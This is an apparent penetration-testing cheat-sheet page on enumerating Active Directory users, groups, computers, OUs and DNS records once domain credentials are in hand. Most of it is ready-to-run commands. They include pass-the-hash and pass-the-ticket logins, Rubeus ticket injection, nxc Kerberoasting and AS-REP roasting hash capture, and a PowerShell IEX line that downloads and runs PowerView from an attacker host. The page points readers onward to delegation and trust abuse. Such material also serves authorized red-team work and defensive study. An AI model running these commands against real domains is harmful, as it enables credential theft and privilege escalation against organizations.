# Object Enumeration > Enumerates AD objects including users, groups, OUs, and GPOs to map domain structure and identify privilege escalation paths. - **URL:** https://hackindex.io/platforms/active-directory/enumeration/active-directory-object-enumeration - **Path:** Active Directory > Enumeration - **Up:** [Enumeration](https://hackindex.io/platforms/active-directory/enumeration.md) - **Published:** 2026-04-05 - **Updated:** 2026-08-11 AD object enumeration maps users, computers, groups, OUs, and DNS records in the domain. Run this immediately after obtaining any valid domain credentials. The output feeds every subsequent attack decision: who to target, what Kerberos abuse is viable, and where high-value systems sit in the network. - Users: identify service accounts, privileged users, and accounts with weak configurations - Computers: map servers, workstations, and their OS versions - Groups: find over-populated privileged groups and nested memberships - OUs: understand the organizational structure and GPO targeting - DNS records: discover internal hostnames and services not visible externally ## Authentication formats BloodyAD and most AD tools accept multiple authentication methods. From a compromised Windows host, PowerView uses the current user token automatically on domain-joined machines. #### Kali (bloodyAD) **BloodyAD authentication formats** ```bash # Cleartext password bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP # Pass-the-Hash bloodyAD -d $DOMAIN -u $USER -p :$NTHASH --host $TARGET_IP # Pass-the-Ticket (ccache) bloodyAD -d $DOMAIN -u $USER -k ccache=/path/to/ticket.ccache --host $TARGET_IP # Certificate authentication bloodyAD -d $DOMAIN -u $USER -c /path/to/key.pem:/path/to/cert.pem --host $TARGET_IP # LDAPS bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP -s ``` #### Windows (PowerView) **PowerView authentication formats** ```powershell # On domain-joined host: PowerView uses current token automatically IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PowerView.ps1') Get-DomainUser # With explicit credentials (non-domain-joined or alternate account) $Cred = New-Object System.Management.Automation.PSCredential( "$DOMAIN\$USER", (ConvertTo-SecureString "$PASSWORD" -AsPlainText -Force) ) Get-DomainUser -Credential $Cred # Spawn new process with different creds (interactive) runas /netonly /user:$DOMAIN\$USER powershell.exe # Pass-the-Hash: Overpass-the-Hash via Rubeus to inject Kerberos ticket .\Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /domain:$DOMAIN /dc:$TARGET_IP /ptt Get-DomainUser # now uses injected ticket ``` ## Domain structure: users, computers, groups Start with broad enumeration to map the domain before running targeted queries. `net.exe` built-ins work on any domain-joined Windows host without loading tools. #### Kali (bloodyAD) **Enumerate domain objects (bloodyAD)** ```bash # All users in domain bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get children "$BASE_DN" --type user # All computers bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get children "$BASE_DN" --type computer # All groups bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get children "$BASE_DN" --type group # All OUs bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get children "$BASE_DN" --type organizationalUnit # Objects in specific OU bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get children "OU=Servers,$BASE_DN" --type computer # distinguishedName: CN=jsmith,CN=Users,DC=corp,DC=local # distinguishedName: CN=svc-backup,CN=Users,DC=corp,DC=local # distinguishedName: CN=Administrator,CN=Users,DC=corp,DC=local ``` #### Windows (PowerView / net.exe) **Enumerate domain objects (PowerView / net.exe)** ```powershell # Built-in: no tools needed net user /domain # all domain users net group /domain # all domain groups net group "Domain Admins" /domain # group members # PowerView: more detail Get-DomainUser | Select-Object samaccountname, description, memberof Get-DomainComputer | Select-Object dnshostname, operatingsystem Get-DomainGroup | Select-Object name, description Get-DomainOU | Select-Object name, distinguishedname # Computers in specific OU Get-DomainComputer -SearchBase "OU=Servers,$BASE_DN" | Select-Object dnshostname ``` ## Object details: specific attributes `get object` / `Get-DomainUser -Properties *` pulls all attributes for a specific object. Use this to investigate accounts returned from broad queries. #### Kali (bloodyAD) **Get object details (bloodyAD)** ```bash # Full object details for a user bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $TARGET_USER # Specific attributes only bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $TARGET_USER --attr userAccountControl bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $TARGET_USER --attr memberOf bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $TARGET_USER --attr servicePrincipalName bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $TARGET_USER --attr description # Group members bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "Domain Admins" --attr member # Machine Account Quota bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "$BASE_DN" --attr ms-DS-MachineAccountQuota # AD functional level bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "$BASE_DN" --attr domainFunctionality ``` #### Windows (PowerView / AD module) **Get object details (PowerView / AD module)** ```powershell # Full user details Get-DomainUser -Identity $TARGET_USER -Properties * | Select-Object * # Key attributes Get-DomainUser -Identity $TARGET_USER | Select-Object samaccountname, useraccountcontrol, memberof, serviceprincipalname, description # Group members Get-DomainGroupMember -Identity "Domain Admins" | Select-Object MemberName, MemberObjectClass # Machine Account Quota (Get-DomainObject -Identity "$BASE_DN").'ms-ds-machineaccountquota' # AD functional level (Get-ADDomain).DomainMode ``` ## Targeted queries These queries find actionable targets: AS-REP roastable accounts, Kerberoastable SPNs, delegation misconfigurations, and passwords in descriptions. PowerView's `-UACFilter` and `-SPN` flags handle the LDAP bit math internally. #### Kali (bloodyAD) **Targeted queries (bloodyAD)** ```bash # AS-REP Roastable accounts (no pre-auth required) bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName # Kerberoastable accounts (SPNs set) bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(servicePrincipalName=*))' --attr sAMAccountName servicePrincipalName # Accounts with password not required bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))' --attr sAMAccountName # Unconstrained delegation (non-DC computers) bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))' --attr dNSHostName # Constrained delegation bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(msDS-AllowedToDelegateTo=*)' --attr sAMAccountName msDS-AllowedToDelegateTo # Passwords in description bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(description=*pass*))' --attr sAMAccountName description ``` #### Windows (PowerView) **Targeted queries (PowerView)** ```powershell # AS-REP Roastable Get-DomainUser -UACFilter DONT_REQ_PREAUTH | Select-Object samaccountname # Kerberoastable (have SPNs) Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname # Password not required Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname # Unconstrained delegation (non-DC computers) Get-DomainComputer -UnconstrainedDelegation | Where-Object {$_.useraccountcontrol -notmatch 'SERVER_TRUST_ACCOUNT'} | Select-Object dnshostname # Constrained delegation Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto Get-DomainComputer -TrustedToAuth | Select-Object dnshostname, msds-allowedtodelegateto # Passwords in description Get-DomainUser | Where-Object {$_.description -like '*pass*'} | Select-Object samaccountname, description ``` ## DNS enumeration AD-integrated DNS records reveal internal hostnames and services not visible from an external scan. From Windows without DNS admin rights, pull hostnames from computer objects and resolve them with `Resolve-DnsName`. #### Kali (bloodyAD) **DNS dump (bloodyAD)** ```bash # Dump all AD-integrated DNS records bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get dnsDump # Save to file bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get dnsDump > dns_records.txt # Filter for interesting records bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get dnsDump | grep -E "web|sql|backup|vpn|rdp|admin|exchange" # Name: dc01, Type: A, Data: 10.10.10.10 # Name: web01, Type: A, Data: 10.10.10.20 # Name: sql01, Type: A, Data: 10.10.10.30 # Name: backup, Type: A, Data: 10.10.10.40 ``` #### Windows (Resolve-DnsName) **DNS enumeration (PowerView / Resolve-DnsName)** ```powershell # Hostnames from computer objects: no DNS admin required Get-DomainComputer | Select-Object dnshostname, operatingsystem | Sort-Object dnshostname # Resolve computer names to IPs Get-DomainComputer | ForEach-Object { Resolve-DnsName $_.dnshostname -ErrorAction SilentlyContinue | Select-Object Name, IPAddress } # SRV records: find DCs and services Resolve-DnsName "_ldap._tcp.$DOMAIN" -Type SRV Resolve-DnsName "_kerberos._tcp.$DOMAIN" -Type SRV # If DC admin: full zone dump Get-DnsServerResourceRecord -ZoneName $DOMAIN -ComputerName $TARGET_IP -RRType A | Select-Object HostName, RecordData ``` DNS records from AD reveal internal systems not exposed externally. Hostnames containing `backup`, `sql`, `exchange`, or `admin` are high-value lateral movement targets. Cross-reference with computer objects to get OS versions and last logon times. ## Bulk queries: nxc, ldapsearch, AD module These tools cover the same ground as bloodyAD and PowerView but in a single pass. The AD module requires RSAT or a domain-joined host with the ActiveDirectory module installed. #### Kali (nxc / ldapsearch) **Bulk queries (nxc / ldapsearch)** ```bash # nxc: users and groups in one pass nxc ldap $TARGET_IP -u $USER -p $PASSWORD --users --groups # nxc: Kerberoastable and AS-REP Roastable nxc ldap $TARGET_IP -u $USER -p $PASSWORD --kerberoasting kerb.txt --asreproast asrep.txt # ldapsearch: all users with key attributes ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=user)" sAMAccountName memberOf userAccountControl servicePrincipalName description ``` #### Windows (AD module) **Bulk queries (AD module)** ```powershell # All users with key attributes: requires RSAT or domain-joined Get-ADUser -Filter * -Properties MemberOf, UserAccountControl, ServicePrincipalNames, Description | Select-Object SamAccountName, MemberOf, UserAccountControl, ServicePrincipalNames, Description # All computers Get-ADComputer -Filter * -Properties OperatingSystem | Select-Object Name, OperatingSystem, DNSHostName # Kerberoastable Get-ADUser -Filter {ServicePrincipalName -ne '$null' -and Enabled -eq $true} -Properties ServicePrincipalName | Select-Object SamAccountName, ServicePrincipalName # AS-REP Roastable Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true -and Enabled -eq $true} | Select-Object SamAccountName ``` After object enumeration, feed what you find into the right attack path: AS-REP Roastable accounts to [AS-REP Roasting](https://hackindex.io/platforms/active-directory/exploitation/as-rep-roasting), Kerberoastable SPNs to [Kerberoasting](https://hackindex.io/platforms/active-directory/exploitation/kerberoasting), unconstrained delegation targets to [Unconstrained Delegation Abuse](https://hackindex.io/platforms/active-directory/exploitation/unconstrained-delegation-abuse) and [Constrained Delegation Abuse](https://hackindex.io/platforms/active-directory/exploitation/constrained-delegation-abuse), domain trusts to [Domain Trust Abuse](https://hackindex.io/platforms/active-directory/post-exploitation/ad-domain-trust-abuse), and writable objects to [ACL Enumeration](https://hackindex.io/platforms/active-directory/enumeration/active-directory-acl-enumeration). ## References - [BloodyAD (GitHub)](https://github.com/CravateRouge/bloodyAD) - Full command reference for get children, get object, get search, get dnsDump - [NetExec / nxc (GitHub)](https://github.com/Pennyw0rth/NetExec) - LDAP enumeration modules for users, groups, SPNs, Kerberoasting, AS-REP roasting - [PowerSploit / PowerView (GitHub)](https://github.com/PowerShellMafia/PowerSploit) - Get-DomainUser, Get-DomainComputer, Get-DomainGroup, Get-DomainUser -UACFilter, -SPN, -TrustedToAuth - [ActiveDirectory PowerShell module (Microsoft Docs)](https://learn.microsoft.com/en-us/powershell/module/activedirectory/) - Get-ADUser, Get-ADComputer (requires RSAT or domain-joined host with AD module)